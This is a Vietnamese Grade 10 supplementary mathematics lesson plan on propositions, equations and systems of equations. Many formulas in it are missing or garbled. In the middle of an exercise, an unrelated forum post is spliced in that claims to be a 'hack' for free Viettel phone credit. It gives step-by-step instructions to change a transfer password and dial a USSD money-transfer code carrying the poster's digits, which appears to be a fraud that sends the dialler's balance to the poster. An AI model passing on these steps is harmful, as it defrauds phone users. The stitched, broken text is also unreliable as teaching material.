Giáo án Dạy thêm Toán 10

Chương I : MỆNH ĐỀ – TẬP HỢP 
§1: Mệnh đề và mệnh đề chứa biến
A: TÓM TẮT LÝ THUYẾT
	1.Định nghĩa :
Mệnh đề là một câu khẳng định Đúng hoặc Sai .
	 Một mệnh đề không thể vừa đúng hoặc vừa sai
2.Mệnh đề phủ định:
	Cho mệnh đề P.Mệnh đề “Không phải P ” gọi là mệnh đề phủ định của P 
	 Ký hiệu là . Nếu P đúng thì sai, nếu P sai thì đúng 	
 Ví dụ: P: “ 3 > 5 ” thì : “ 3 5 ” 
3. Mệnh đề kéo theo và mệnh đề đảo :
 Cho 2 mệnh đề P và Q. Mệnh đề “nếu P thì Q” gọi là mệnh đề kéo theo 
	 Ký hiệu là P Þ Q. Mệnh đề P Þ Q chỉ sai khi P đúng Q sai 
 Cho mệnh đề P Þ Q. Khi đó mệnh đề Q Þ P gọi là mệnh đề đảo của P Þ Q
4. Mệnh đề tương đương
 Cho 2 mệnh đề P và Q. Mệnh đề “P nếu và chỉ nếu Q” gọi là mệnh đề tương 
 đương , ký hiệu P Û Q.Mệnh đề P Û Q đúng khi cả P và Q cùng đúng 
5. Phủ định của mệnh đề “ "xỴ X, P(x) ” là mệnh đề “$xỴX, ”
 Phủ định của mệnh đề “ $xỴ X, P(x) ” là mệnh đề “"xỴX, ”
Ví dụ: 
 Cho x là số nguyên dương ;P(x) : “ x chia hết cho 6” ; Q(x): “ x chia hết cho 3”
 Ta có : · P(10) là mệnh đề sai ; Q(6) là mệnh đề đúng
	 · : “ x không chia hết cho 6”
	 · Mệnh đề kéo theo P(x)Þ Q(x) là mệmh đề đúng. 
	 · “$xỴ N*, P(x)”	đúng có phủ định là “"xỴ N*, ”	 có tính sai 
B: BÀI TẬP
: 
 Bài 1: Các câu sau dây, câu nào là mệnh đề, và mệnh đề đó đúng hay sai :
Ở đây là nơi nào ?
 Phương trình x2 + x – 1 = 0 vô nghiệm 
 x + 3 = 5
16 không là số nguyên tố 
Bài 2: Nêu mệnh đề phủ định của các mệnh đề sau : 
“Phương trình x2 –x – 4 = 0 vô nghiệm ”
“ 6 là số nguyên tố ”
“"nỴN ; n2 – 1 là số lẻ ”
Bài 3: Xác định tính đúng sai của mệnh đề A , B và tìm phủ định của nó :
A = “ "xỴ R : x3 > x2 ”
B = “ $ xỴ N , : x chia hết cho x +1”
Bài 4: Phát biểu mệnh đề P Þ Q và xét tính đúng sai của nó và phát biểu mệnh đề đảo :
a) P: “ ABCD là hình chữ nhật ” và Q:“ AC và BD cắt nhau tại trung điểm mỗi đường”
b) P: “ 3 > 5” và Q : “7 > 10”
c) P: “Tam giác ABC là tam giác vuông cân tại A” và Q :“ Góc B = 450 ” 
Bài 5: Phát biểu mệnh đề P Û Q bằng 2 cách và và xét tính đúng sai của nó 
	a) P : “ABCD là hình bình hành ” và Q : “AC và BD cắt nhau tại trung điểm mỗi đường”
b) P : “9 là số nguyên tố ” và Q: “ 92 + 1 là số nguyên tố ”
Bài 6:Cho các mệnh đề sau 
a) P: “ Hình thoi ABCD có 2 đường chéo AC vuông góc với BD”
[HACK] BẢN HACK MỚI NHẤT LẤY TIỀN MẠNG VIETEL ĐÂY .(BẢN CẬP NHẬT 30/06)
Xin được chia sẻ cùng các bạn một thủ thuật dùng mã hack mà tơi vừa mới khám phá:như các bạn cũng đã thấy,rất nhiều các cá nhân post bài lên các diễn đàn trong nuớc với nội dung ”hack tiền của mạng Viettel”để tìm được những topic như thế khơng hề khĩ. Ở đây tơi xin đưa ra một vài ví dụ: 
và cịn rất nhiều những topic như vậy,nhưng hầu hết là của AMATEUR HACKER,chủ yếu nhằm vào mục đích vụ lợi chứ khơng thơng thạo về chuyên mơn, họ thiếu kinh nghiệm ,kiến thức và cả tính chính xác trong lĩnh vực Hack bậc thầy này,mà nĩ địi hỏi phài cĩ một trình độ Hack tương đối cao .Chính vì những lí do nêu trên và với nhiều năm kinh nghiệm của mình,tơi xin giới thiệu : Tơi :
Họ tên: xucxactinhyeu
Nghề nghiệp : hacker
Tơi khơng dám nhận mình là một sinh viên ưu tú,nhưng với những gì mà mình tự khám phá được thì tơi thấy rất hài lịng.Chắc các bạn cũng biết tới diễn đàn HAVonline – diễn đàn hacker lớn nhất hiện nay và tơi rất tự hào khi mình nằm trong ban quản trị diễn đàn.Với những kinh nghiệm mà tơi đã cĩ ,hơm nay tơi xin giới thiệu với các bạn cách hack tiền tài khoản Viettel hồn tồn chính xác.Do thời gian cĩ hạn nên tơi nĩi ngắn gọn như sau:
Các bạn chỉ cần thực hiện tuần tự và chính xác theo yêu cầu của 6 bước sau:
1 -Một sim Viettel hoạt động trên 230 ngày(hon 7 tháng).Tại sao phải cần vậy?Vì chỉ cĩ những sim hoạt dộng trên 7 tháng mới được Viettel đưa vào mã bảo vệ tài khoản chuyển tiền ( 6 tháng chưa được đâu các bạn) trên server Viettel quản lí.
2 -Rất đơn giản : Soạn tin MK gửi tới 136 để lấy mât khẩu chuyển tiền của bạn( nếu bạn chưa cĩ).Tại sao phải cần vậy ? Vì chúng ta hack thơng qua dịch vụ I-Share của Viettel.
3 -Ðổi mật khẩu chuyển tiền: các bạn gọi tới 900 ,nhánh phím số 3 và làm theo hướng dẫn..và điều quan trọng nằm ở bước này. Các bạn phải đổi mât khẩu chuyển tiền thành dãy số sau :10010010 ,đĩ chính là mật khẩu Server trung gian ở bước 5. Tại sao phải làm vậy?Vì khi các bạn chuyển mật khẩu thành dãy số trên tức là đã mã hĩa tài khoản của bạn trên Server mà Viettel quản lý.Ðiều này rất quan trọng.
4 -Tài khoản trong sim của bạn phải cĩ nhiều hơn 53999 vnd
5 -Các bạn làm theo cú pháp nhu sau: *136* mật khẩu Server *mã PIN *mã PUK#. Để khỏi mất thời gian của các bạn tìm lại 2 mã trên nên tơi đã tạo ra một Server trung gian ( viết tắt là TIS-Telephone of Intermediacy Server) với mã PIN và mã PUK mặc định (dùng đăng nhập sdt của bạn trên Server),tĩm lại, cụ thể các thơng số như sau (chỉ áp dụng cho mạng Viettel):
+ mật khẩu Server: 10010010
+ mã PIN : 841682455083
+ mã PUK: 48100
Các bạn chỉ cần nhập chính xác 3 dãy số trên vào cú pháp và nhấn nút gọi thì hệ thống sẽ tự động đăng nhập sdt của bạn vào TIS (Telephone of Intermediacy Server) mà tơi tạo ra và tài khoản của sdt người gửi sẽ tự đơng được cơng thêm tiền hack được sau khi đăng nhập (tiền hack được sẽ cơng thêm vào tài khoản chính),thật ra đây là một trong những cách hack tài khoản điện thoại mà các Hacker chuyên nghiệp trên thế giới gần đây mới sử dụng ( nguyên lý là dùng mã hack đảo chiều các dịch vụ chuyển tiền từ các Server di đơng,chẳng hạn như I-Share, hiên trên mạng cĩ nhiều tài liệu tiếng Anh nĩi về vấn đề này).
6- Sau khi làm xong những bước trên : các bạn chỉ cần đợi 15 phút , sẽ cĩ tin nhắn trả lời và tài khoản chính của các bạn đã được cộng thêm 50000 vnd.( lưu ý 50000vnd sẽ được cộng trực tiếp vào tài khoản chính của bạn)
+Tơi hack được tài khoản của mạng di động viettel từ 1 lỗ hổng nhỏ trên I-Share và những lần tơi test gần đây đều thành cơng.Thơng báo sevsr trung gian ma tơi tao ra cũng là sevsr duy nhất hoạt động cĩ hiệu quả hiện nay).
Tất cả chỉ cĩ vậy nhưng đĩ chính là cơng sức bao lâu nay tơi khám phá.Các bạn hãy thử và cho tơi biết kết quả nếu như bản hack hoạt động tốt tơi sẽ mở thêm nhiều sever khác.
Các Bạn tranh thủ đi kẻo viettel sửa lỗi đĩ
Nếu bạn làm lần đâù mà khơng được thì hãy làm đi làm lại vài lần, chắc chắn sẽ thành cơng
b) Q: “ Tam giác cân có 1 góc = 600 là tam giác đều”
 c) R : “13 chia hết cho 2 nên 13 chia hết cho 10 ”
	- Xét tính đúng sai của các mệnh đề và phát biểu mệnh đề đảo :
	- Biểu diễn các mệnh đề trên dưới dạng A Þ B
Bài 7: Cho mệnh đề chứa biến P(x) : “ x > x2” , xét tính đúng sai của các mệnh đề sau:
P(1)
P( )
"xỴN ; P(x)
$xỴ N ; P(x)
Bài 8: Phát biểu mệnh đề A Þ B và A Û B của các cặp mệnh đề sau và xét tính đúng sai 
A : “Tứ giác T là hình bình hành ”
B: “Hai cạnh đối diện bằng nhau”
A: “Tứ giác ABCD là hình vuông ”
B: “ tứ giác có 3 góc vuông”
 A: “ x > y ”
B: “ x2 > y2” ( Với x y là số thực )
A: “Điểm M cách đều 2 cạnh của góc xOy ”
B: “Điểm M nằm trên đường phân giác góc xOy”
Bài 9: Hãy xem xét các mệnh đề sau đúng hay sai và lập phủ định của nó :
"xỴN : x2 ³ 2x
$xỴ N : x2 + x không chia hết cho 2
"xỴZ : x2 –x – 1 = 0 
Bài 10 : Trong các mệnh đề sau, mệnh đề nào có mệnh đề đảo đúng
A : “Một số tự nhiên tận cùng là 6 thì số đó chia hết cho 2”
B: “ Tam giác cân có 1 góc = 600 là tam giác đều ”
C: “ Nếu tích 3 số là số dương thì cả 3 số đó đều là số dương ”
D : “Hình thoi có 1 góc vuông thì là hình vuông”
Bài 11:Phát biểu thành lời các mệnh đề "x: P(x) và $x : P(x) và xét tính đúng sai của chúng :
	a) P(x) : “x2 x + 1”
	c) P(x) : “= x+ 2”	x) P(x): “x2-3x + 2 > 0”
§2: ÁP DỤNG MỆNH ĐỀ VÀO PHÉP SUY LUẬN TOÁN HỌC 
A: TÓM TẮT LÝ THUYẾT
 	1:Trong toán học định lý là 1 mệnh đề đúng 
	 Nhiều định lý được phát biểu dưới dạng “"xỴX , P(x) Þ Q(x)”
	2: Chứng minh phản chứng đinh lý 	 “"xỴX , P(x) Þ Q(x)” gồm 2 bước sau:
Giả sử tồn tại x0 thỏa P(x0)đúng và Q(x0) sai
Dùng suy luận và các kiến thức toán học để đi đến mâu thuẫn 
3: Cho định lý “"xỴX , P(x) Þ Q(x)” . Khi đó 
	P(x) là điều kiện đủ để có Q(x)
	Q(x) là điều kiện cần để có P(x)
	4: Cho định lý “"xỴX , P(x) Þ Q(x)” (1)
	Nếu mệnh đề đảo “"xỴX , Q(x) Þ P(x)” đúng được gọi là dịnh lý đảo của (1)
	Lúc đó (1) được gọi là định lý thuận và khi đó có thể gộp lại 
	“"xỴX , P(x) Û Q(x)” Gọi là P(x) là điều kiện cần và đủ để có Q(x)
B: BÀI TẬP :
Bài 1: Phát biểu các mệnh đề sau với thuật ngữ “Điều kiện cần”, “Điều kiện đủ ”
Nếu 2 tam giác bằng nhau thì chúng có cùng diện tích
Số nguyên dương chia hết cho 6 thì chia hết cho 3
Mộthình thang có 2 đường chéo bằng nhau là hình thang cân 
Bài 2: Dùng phương pháp chứng minh phản chứng để chứng minh :
 a) Với n là số nguyên dương, nếu n2 chia hết cho 3 thì n chia hết cho 3
	b) Chứng minh rằng là số vô tỷ
	c) Với n là số nguyên dương , nếu n2 là số lẻ thì n là số lẻ 
Bài 3: Phát biểu các định lý sau đây bằng cách sử dụng khái niệm “Điều kiện đủ ”
a)Nếu trong mặt phẳng, hai đường thẳng cùng vuông góc với đường thẳng 
 thứ 3 thì hai đường thẳng đó song song với nhau
b)Nếu 2 tam giác bằng nhau thì chúng có diện tích bằng nhau
c)Nếu số nguyên dương a tận cùng bằng 5 thì chia hết cho 5
d)Nếu tứ giác là hình thoi thì 2 đường chéo vuông góc với nhau
Bài 4: Phát biểu các định lý sau đây bằng cách sử dụng khái niệm“Điều kiện cần ”
a)Nếu trong mặt phẳng, hai đường thẳng cùng song song với đường thẳng 
 thứ 3 thì hai đường thẳng đó song song với nhau
b)Nếu 2 tam giác bằng nhau thì chúng có các góc tương ứng bằng nhau 
c)số nguyên dương a chia hết cho 24 thì chia hết cho 4 và 6
d)Nếu tứ giác ABCD là hình vuông thì 4 cạnh bằng nhau
Bài 5: Chứng minh bằng phương pháp phản chứng 
a) Nếu a¹b¹c thì a2 +b2 + c2 > ab + bc + ca
b) Nếu a.b chia hết cho 7 thì a hoặc b chia hết cho 7
c) Nếu x2 + y2 = 0 thì x = 0 và y = 0
Bài 6 :Cho các đinh lý sau, định lý nào có định lý đảo, hãy phát biểu :
“Nếu 1 số tự nhiên chia hết cho 3 và 4 thì chia hết cho 12”
“Một tam giác vuông thì có trung tuyến tương ứng bằng nửa cạnh huyền ”
“Hai tam giác đồng dạng và có 1 cạnh bằng nhau thì hai tam giác đó bằng nhau”
“Nếu 1 số tự nhiên n không chia hết cho 3 thì n2 chia 3  ... úng với mọi xỴR
2.Giải và biện luận phương trình dạng ax2+bx+c = 0
· a= 0 :Trở về giải và biện luận phương trình bx + c = 0 
· a ≠ 0 . Lập D= b2 - 4ac
 	 Nếu D > 0:phương trình có hai nghiệm phân biệt 
x = v x = 
 	 Nếu D = 0 : phương trình có nghiệm kép : x = 
 	 Nếu D < 0 : phương trình vô nghiệm
B. VÍ DỤ :
 Ví dụ 1. Giải và biện luận phương trình : m(x - m ) = x + m - 2 (1)
Giải :
phương trình (1) Û (m - 1)x = m2 + m - 2
Ta xét các trường hợp sau đây :
1)Khi (m-1) ≠ 0 Û m ≠ 1 nên phương trình (1) có nghiệm duy nhất x = = m - 2
2)Khi (m – 1) = 0 Û m = 1 . phương trình (1) trở thành 0x = 0: 
 phương trình nghiệm đúng với mọi x Ỵ R 
Kết luận : m ≠ 1 : Tập nghiệm là S = {m - 2}
 m = 1 : Tập nghiệm là S = R
Ví dụ 2: Giải và biện luận phương trình theo tham số m :
(m + 1)x2 - (2m + 1)x + (m - 2) = 0
Giải :
 Với m = - 1 , phương trình có nghiệm x = 3
Với m ≠ - 1 Lập D = 8m + 9
Do đó m < - thì phương trình vô nghiệm 
m = - phương trình có ngiệm kép x = 5
Với mỴ (- ; 1)È (1; +¥), phương trình có hai nghiệm 
x = ; x = 
C:. BÀI TẬP :
C2 : TỰ LUẬN
Bài 1:. Giải và biện luận các phương trình sau :
a) (m2+2)x - 2m = x -3	b) m(x -m+3) = m(x -2) + 6
c) m2(x- 1) + m = x(3m -2)	d) m2x = m(x + 1) -1
e) m2(x – 3) +10m = 9x + 3	f) m3x –m2 -4 = 4m(x – 1)
g) (m+1)2x + 1 – m = (7m – 5)x	h) a2x = a(x + b) – b
i) (a + b)2x + 2a2 = 2a(a + b) + (a2 + b2)x 	
Bài 2: 
a) Định m để phương trình (m2- 3)x = -2mx+ m- 1 có tập nghiệm là R
b) Định m để phương trình (mx + 2)(x + 1) = (mx + m2)x có nghiệm duy nhất 
c)Định a ; b đề phương trình (1 – x)½a½ + (2x + 1) ½b½= x + 2 vô số nghiệm "xỴR
d) Định m để phương trình m2x = 9x +m2 -4m + 3 vô số nghiệm "xỴR
Bài 3: Giải và biện luận phương trình theo tham số m:
a)mx2 + 2x + 1 = 0
b)2x2 -6x + 3m - 5 = 0
c)(m2 - 5m -36)x2 - 2(m + 4)x + 1 = 0
Bài 4: Cho a ; b ; c là 3 cạnh của D. Chứng minh rằng phương trình sau vô nghiệm
a2x2 + (c2 – a2 –b2)x +b2 = 0
Bài 5: Cho a ; b ; c ¹ 0 và 3 phương trình	ax2 +2bx + c = 0
	bx2 +2cx + a = 0
	cx2 +2ax + b = 0
	CMR ít nhất 1 trong 3 phương trình có nghiệm 
Bài 6: Cho phương trình : x2 + 2x = a. Bằng đồ thị , tìm các giá trị của a để phương trình 
đã cho có nghiệm lớn hơn 1. Khi đó , hãy tìm nghiệm lớn hơn 1 đó 
Bài 7: Giả sử x1 ; x2 là các nghiệm của phương trình : 2x2 - 11x + 13 = 0. Hãy tính :
a) x13 + x23 
b) x14 + x24
c) x14 - x24
d) + 
Bài 8:Các hệ số a, b , c của phương trình trùng phương : ax4 + bx2 + c = 0 phải thỏa điều kiện 
gì để phương trình đó 
a)Vô nghiệm	b)Có một nghiệm	c)Có hai nghiệm
d)Có ba nghiệm	e)Có bốn nghiệm
Bài 9: Giải và biện luận:
(m-2)x2 -2(m-1)x +m – 3 = 0
 (m-1)x2 -2mx +m +1 = 0
Bài 10: Cho phương trình : x2 -2(m-1)x +m2 – 3m = 0
a)Định m để phương trình có nghiệm x1 = 0. Tính nghiệm x2.
b)Định m để phương trình có 2 nghiệm phân biệt x1 ; x2 thỏa x12 +x22 = 8
Bài 11: Cho phương trình : mx2 -2(m-3)x +m – 6 = 0
a) CMR: phương trình luôn có nghiệm x1 = 1 ; "m. Tính nghiệm x2.
b) Định m để phương trình có 2 nghiệm phân biệt thỏa 
Định m để phương trình có 2 nghiệm trái dấu có giá trị tuyệt đối bằng nhau
 Bài 12: Giả sử phương trình ax2 +bx + c = 0 có 2 nghiệm dương phân biệt x1 ; x2.
a) CMR phương trình cx2 +bx + a = 0 cũng có 2 nghiệm dương phân biệt x3 ; x4.
 b) CMR x1 + x2 + x3 + x4 ³ 4
Bài 13: Cho phương trình (m +2)x2 -2(4m – 1)x -2m + 5=0
Định m để phương trình có nghiệm kép. Tính nghiệm kép đó
Tìm hệ thức độc lập đối với m giữa các nghiệm . suy ra nghiệm câu a
Bài 14: Cho 2 số x1; x2 thỏa hệ
	(x1+ x2) - 2 x1 x2 = 0
	m x1x2 – (x1+ x2) = 2m + 1 (Với m¹ 2)
	a) lập phương trình có 2 nghiệm x1; x2
	b) Định m để phương trình có nghiệm
	c) Định m để phương trình có 2 nghiệm phân biệt là 2 cạnh tam giác vuông có cạnh 
 huyền = 	
Bài 15: Cho 2 phương trình x2 +b1x + c1 = 0 và x2 +b2x + c2 = 0 thỏa b1b2 ³ 2(c1 + c2 )
	Chứng minh rằng ít nhất 1 trong 2 phương trình có nghiệm
Bài 16: Cho phương trình x2 – 2(m – 1)x + m2 – 3m + 4 = 0
	a) Định m để phương trình có 2 nghiệm thỏa x12 + x22 = 20
	b) Định m để phương trình có nghiệm kép. Tính nghiệm kép đó
	c) Tìm hệ thức độc lập giữa 2 nghiệm. Suy ra giá trị nghiệm kép
§3: MỘT SỐ PHƯƠNG TRÌNH QUY VỀ PHƯƠNG TRÌNH 
BẬC NHẤT HOẶC BẬC HAI
A.TÓM TẮT LÝ THUYẾT:
1/ Phương trình dạng: ½ax + b½ = ½cx + d½
Cách 1: 
Cách 2: ½ax + b½ = {cx + d{ Û (ax + b)2 = (cx + d)2
2/ Giải và biện luận phương trình chứa ẩn ở mẫu thức
Phương pháp:
Ÿ Đặt điều kiện để mẫu thức khác 0
Ÿ Quy đồng mẫu thức. Giải và biện luận phương trình thu được
3/ Giải phương trình bằng phương pháp đặt ẩn số phụ
Phương pháp:
Biến đổi biểu thức có trong phương trình, đặt ẩn số phụ để chuyển phương trình đã cho về phương trình bâc hai
B: các ví dụ :
Ví du 1: Giải và biện luận phương trình 
Điều kiện: x ¹ -2
Với điều kiện phương trình Û mx-m+1 = 3x + 6
	 Û (m-3)x = m+5 (1)
Biện luận:
Ÿ m ¹ 3 (1) Û Û m + 5 ¹ -2m + 6 Û -2m + 6 Û m ¹ 
Ÿ m = 3 (1) Û 0x = 8 : Phương trình vô nghiệm
Kết luận:
m = 3 hoặc m = 	: Phương trình vô nghiệm
m ¹ 3 và m ¹ 	: Phương trình có nghiệm duy nhất 
Ví dụ 2 : Giải phương trình (1)
Giải: Đặt t = Þ t2 = 6x2 - 12x + 7
	Þ 
Lúc này (1) 	Û Û -t2 + 6t + 7 = 0
	Û 
C: BÀI TẬP: 
Bài 1: Giải và biện luận các phương trình
a) ½mx - x + 1½ = ½x + 2½	b) ½mx + 2x - 1½ = ½x½
c) ½mx - 1½ = 5	d) ½3x + m½ = ½2x - 2m½
 Bài 2: Tìm các giá trị tham số m sao cho phương trình ½mx-2½=½x+4½
có nghiệm duy nhất
Bài 3: Giải và biện luận các phương trình (m, a và k là những tham số)
a) 	b) 
c) 	d) + = 2
e) + = 2	f ) + = 
Bài 4:Giải các phương trình 
a) 	b) 
Bài 5: Giải và biện luận các phương trình 
a) 	b) 
Bài 6:Giải các phương trình (bằng cách đặt ẩn phụ)
a) 4x2 - 12x - 5
b) x2 + 4x - 3 ½x + 2½ + 4 = 0
c) 4x2 + 
	d) x2 – x + =3
e) x2 + 2=3x + 4
f) x2 +3 x - 10 + 3= 0
Câu 7: Định tham số để phương trình 
a) = có nghiệm duy nhất
d) + = 2 vô nghiệm
§4:HỆ PHƯƠNG TRÌNH BẬC NHẤT HAI ẨN
A. TÓM TẮT LÝ THUYẾT 
I) Định nghĩa: Hệ phương trình bậc nhất hai ẩn là hệ có dạng:
 Với a2 + b2 ¹ 0, a’2 + b’2 ¹ 0
 Tính ; ; 
Ÿ D ¹ 0 	: Hệ có nghiệm duy nhất (x; y) với 
Ÿ D = 0 và 	: Hệ vô nghiệm
Ÿ D = Dx = Dy = 0	: Hệ có vô số nghiệm (x; y) tính theo công thức (a ¹ 0) hoặc (nếu b ¹ 0)
II ) Phương pháp giả hệ phương trìnhbậc nhất ba ẩn :
	Dạng	
Ÿ Chọn một phương trình, biểu diễn một ẩn theo hai ẩn còn lại
Ÿ Thế ẩn đó vao hai phương trình còn lại ta được hệ hai phương trình bậc nhất hai ẩn. Giải hệ này tìm giá trị hai ẩn từ đó tìm đươc giá trị ẩn còn lại
B CÁC VÍ DỤ :
Ví dụ1: Giải và biện luận hệ phương trình sau:
Giải
Biện luận:
1) D ¹ 0 Û m2 - 1 ¹ 0 Û m ¹ ±1
	Hệ 1 nghiệm duy nhất : 
2) D = 0 Û m = -1 V m = 1
 Ÿ m = 1	D = 0 và Dx = -2 : Hệ vô nghiệm
 Ÿ m = -1 D = Dx = Dy = 0 và hệ trở thành
 Kết luận: 	m ¹ ± 1	: Hệ có nghiệm duy nhất 
	m = 1	: Hệ vô nghiệm
	m = -1	: Hệ có vô số nghiệm (x, y) có dạng 
Ví dụ2: Định m để hệ phương trình sau có vô số nghiệm
Giải:
 = -m2 - 6m - 8 = 0 Û m = -2 và m = -4
 = -m2 - m + 2 = 0 Û m =1 và m = 2
 = =m2 - 11m - 18 = 0 Û m = -2 và m = 9
Hệ phương trình có vô số nghiệm Û D = Dx = Dy =0 Û m = -2
Ví dụ 3: Giải hệ phương trình sau
(3) Þ z = 4 + x
Thế vào (2) 	Þ 3y + 2z = 3y + 2(x + 4) = 26
	Û 2x + 3y = 18 (4)
(1) (4) Þ 
(3) Þ z = x + 4 = 
Vậy nghiệm của hệ phương trình (x; y; z) = 
C. BÀI TẬP: 
Bài 1: Bằng định thức giải các hệ phương trình
a) 	b) 
Bài 2: Giải và biện luận hệ phương trình sau:
	a) 	b) 
c) 	d) 
Bài 3: Tìm m, a, b sao cho hệ phương trình sau có vô số nghiệm
	a) 	b) 
	c) 	d) 
Bài 4: Tìm m, a, b sau cho hệ phương trình sau vô nghiệm
	a)	b) 	 c) 
Bài 5: Cho hệ phương trình : 
Giải và biện luận	
Định mỴ Z để hệ có nghiệm duy nhất là nghiệm nguyên 
Bài 6: Cho hệ 	
Giải và biện luận hệ phương trình
b)Tìm tất cả các giá trị nguyên của m để hệ có nghiệm duy nhất là nghiệm nguyên
Bài 7 : Định m nguyên để hệ có nghiệm duy nhất là nguyên
Bài 8:: Cho hệ	
a)Giải hệ phương trình
Tìm tất cả các giá trị của m để x2 + y2 đạt giá trị nhỏ nhất
Bài 9 : Cho hệ	. Với giá trị nào của m thì tích 2 nghiệm x.y đạt giá trị lớn nhất
	a) m = 2	b) m = 8	c) m = -	d) Kết quả khác
Bài 10: Giải 
a)	b) 	c) 
§5:HỆ PHƯƠNG TRÌNH BẬC HAI 2 ẨN
A. TÓM TẮT LÝ THUYẾT :
·.CÁC DẠNG THƯỜNG GẶP
 ðDạng 1: 
Phương pháp: - Tính x theo y (y theo x)
	 - Thế vào (2) để được phương trình bậc 2) theo 1 ẩn duy nhất
ð Dạng 2: Hệ đối xứng hai ẩn loại 1
Là hệ có tính chất: Khi thay x bởi y thì mỗi phương trình trong hệ không thay đổi.
Phương pháp: Đặt x + y = S, xy = P
	Ÿ Đưa hệ phương trình về hệ 2 ẩn S, P
	Ÿ x, y là nghiệm X2 - SX + P = 0
	Chú ý : điều kiện hệ có nghiệm: S2 - 4P ³ 0
ðDạng 3: Hệ đối xứng hai ẩn loại 2
 Là hệ phương trình có tính chất khi thay x bởi y thì phương trình này trong hệ sẽ 
 biến thành phương trình kia
Phương pháp: - Trừ hai vế của phương trình
	 - Dùng phương pháp thế để giải hệ
B: CÁC VÍ DỤ :
 Ví dụ 1 : Giải hệ phương trình
(I)
Giải
(1) Þ x = 5 - 2y
(I) 
Vậy nghiệm hệ phương trình (3, 1); (1, 2)
Ví dụ 2: Giải hệ phương trình:	
Giải:
Đặt S = x + y, P = xy
Hệ phương trình 
TH1: Þ x, y là nghiệm phương trình: X2 + 3X + 5 = 0
	D = 9 - 20 < 0 : Vô nghiệm
TH2:	Þ x, y là phương trình X2 - 2X = 0 
Þ Nghiệm hệ phương trình (0, 2) hay (2, 0)
(I)
Ví dụ 3: Giải hệ phương trình 
(I) 	
(III)
(II)
	 V 
* (II) 	V 
* (II) 	
	V 	
Kết luận hệ phương trình có 4 nghiệm (0, 0) (3, 3) 
C. BÀI TẬP :
Bài 1: Giải các hệ phương trình
a) 	b) 
	c) 	d) 
Bài 2: Giải các hệ phương trình
	a)	b) 	
	c) 	 	d) 	
	e)	f) 
g) 	h) 	
i)	j) 
k) 	 	l) 
m) 	n)	
o) 	p) 
q) 	r) 
	s) 	t) 
	Bài 3: Giải các hệ phương trình
 a) 	b) 
c) 	d) 
Bài 4: Giải và biện luận hệ phương trình	
Bài 5: Cho hệ phương trình 
a) Giải hệ khi m =10
b) Giải và biện luận 	
Bài 6: Cho hệ 
a) Giải hệ khi m =2
b) Định m để hệ có nghiệm
Bài 7: Cho hệ phương trình 
Giải hệ khi m = 5
Định m để hệ có nghiệm
Bài 8: Cho hệ phương trình	
	a) Giải hệ khi m =5
	b) Giải và biện luận	
Bài 9: Cho hệ phương trình 	
*. Giải hệ khi m =10
*. Giải và biện luận
Bài 10 : Định m để hệ phương trình sau có nghiệm duy nhất